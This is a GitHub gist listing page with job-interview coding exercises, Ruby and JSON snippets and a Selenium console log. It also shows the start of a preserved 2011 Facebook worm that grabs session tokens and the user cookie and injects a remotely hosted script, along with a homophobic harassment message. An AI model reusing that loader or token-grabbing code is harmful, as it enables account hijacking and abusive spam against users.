Skip to content

Instantly share code, notes, and snippets.

View tysonmote's full-sized avatar
🤠
code cowboy

Tyson Mote tysonmote

🤠
code cowboy
View GitHub Profile
Using the scripting language of your choice, write a scraper that will search Google for "milksteak" and output the first 100 results formatted as a CSV file in the following format:
result_num,title,link,description
1,Milk Steak Recipe,http://mixxnews.com/milk-steak-recipe.htm,"Description <i>goes</i> here..."
2,WikiAnswers - What is a milk steak as mentioned on it's always...,http://wiki.answers.com/Q/What_is_a_milk_steak_as_mentioned_on_it's_always_sunny_in_philadelphia,"Description <i>goes</i> here..."
...
You may use any publically-available libraries that you want and refer to any documentation that you need.

#Backend engineer

Dolores Labs is funded, growing, and, frankly, where the action is at in San Francisco. However, we have a bit of a problem: Ruby doesn't scale. We need someone to rewrite our entire application in Java. JUST KIDDING. Seriously though, we need help scaling our application (mostly in Ruby).

##Skills that are a must

Startup: You're able to learn quickly, design creative solutions, and work independently.

People: From time to time you'll need to communicate with clients and co-workers.

#Tools Engineer

CrowdFlower is funded, growing, and, frankly, where the action is at in San Francisco. As our client base continues to grow, we need you to make sure their projects go smoothly.

Skills that are a must

HTML / CSS: You should be able to wield HTML and CSS like a sword for our clients. They often need custom user interfaces, and you'll be the person who can make them happen on tight deadlines.

JavaScript and the DOM: You should be handy with JavaScript and the DOM. You'll be using MooTools to create sweet custom interfaces for clients as needed. Although we're a MooTools shop any framework experience is fine.

Using HTML5, light CSS, and JavaScript, create a simple page that:
1. Uses the Google AJAX search API (http://code.google.com/apis/ajaxsearch/) to grab the first 20 search results for "milksteak" on page load.
* Use this API key, if needed: ABQIAAAAqF1Nhye_hBd32k28a7rMWhSJeuis2Fs2OvaiMjL4o_3cv0KJcRQmV48seyIFWH3HU0REEkKnIqIVfQ
2. Displays the search results in a random order.
3. Allows the user to select the three most relevant results.
4. Allows the user to "submit" the results. This doesn't have to be fully implemented. It can make a hidden form and submit it or it can do it AJAX-style.
Bonus points: Make it look pretty.
@tysonmote
tysonmote / Optionize.rb
Created November 10, 2010 23:49
Less hacky options hash
module Optionize
class AlreadyDefinedError < StandardError; end
def self.included( base )
base.extend ClassMethods
end
module ClassMethods
def optionize( key, opts={} )
getter = key
@tysonmote
tysonmote / taxonomy.json
Created April 22, 2011 01:00
Taxonomy JSON
{
"topLevelItems": ["1", "2", "3", "4"],
"items": {
"1": {
"parent": null,
"title": "Books",
"children": ["11", "12", "13"]
},
@tysonmote
tysonmote / client_services.markdown
Created April 22, 2011 01:13
Client Services Code Exercise

Client Services Code Exercise

Using HTML, CSS, and JavaScript, you will create a tool that allows a user to drill down through a tree of categories and select a final category. The taxonomy data is represented as a tree of categories. A category can have any number of children. A category with no children is considered a selectable category (categories with children should not be selectable).

The taxonomy data is located at https://gist.github.com/935805

ruby-1.8.7-p302 > browser = Selenium::WebDriver.for( :chrome ) => #<Selenium::WebDriver::Driver:0x1091d18c0 browser=:chrome>
ruby-1.8.7-p302 > browser.mouse_over( :link_text => "Reporting" )
NoMethodError: undefined method `mouse_over' for #<Selenium::WebDriver::Driver:0x1091d18c0 browser=:chrome>
from (irb):40
from :0
ruby-1.8.7-p302 > mouse = Selenium::WebDriver::Mouse.new( browser )
=> #<Selenium::WebDriver::Mouse:0x1091cfcc8 @bridge=#<Selenium::WebDriver::Driver:0x1091d18c0 browser=:chrome>>
ruby-1.8.7-p302 > mouse.move_to( browser.find_element( :link_text => "Reporting" ) )
NoMethodError: undefined method `mouseMoveTo' for #<Selenium::WebDriver::Driver:0x1091d18c0 browser=:chrome>
from /Users/tyson/C2/builder/gems/gems/selenium-webdriver-0.2.0/lib/selenium/webdriver/common/mouse.rb:50:in `move_to'
@tysonmote
tysonmote / facebook_hack.js
Created May 12, 2011 06:48
Nicole Santos Facebook hack
// 5/11/11 Facebook hack -- Started spreading and was quickly taken down by Dropbox (where the file was hosted).
var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below.";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "Remove This App";
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
<!DOCTYPE html>
<body>
<a id="js_button" class="no_event_fired">Click</a>
<a href="http://google.com">Link</a>
<script>
var el = document.getElementById( "js_button" );
el.addEventListener( "click", function() {
this.className = "addEventListener";
});
</script>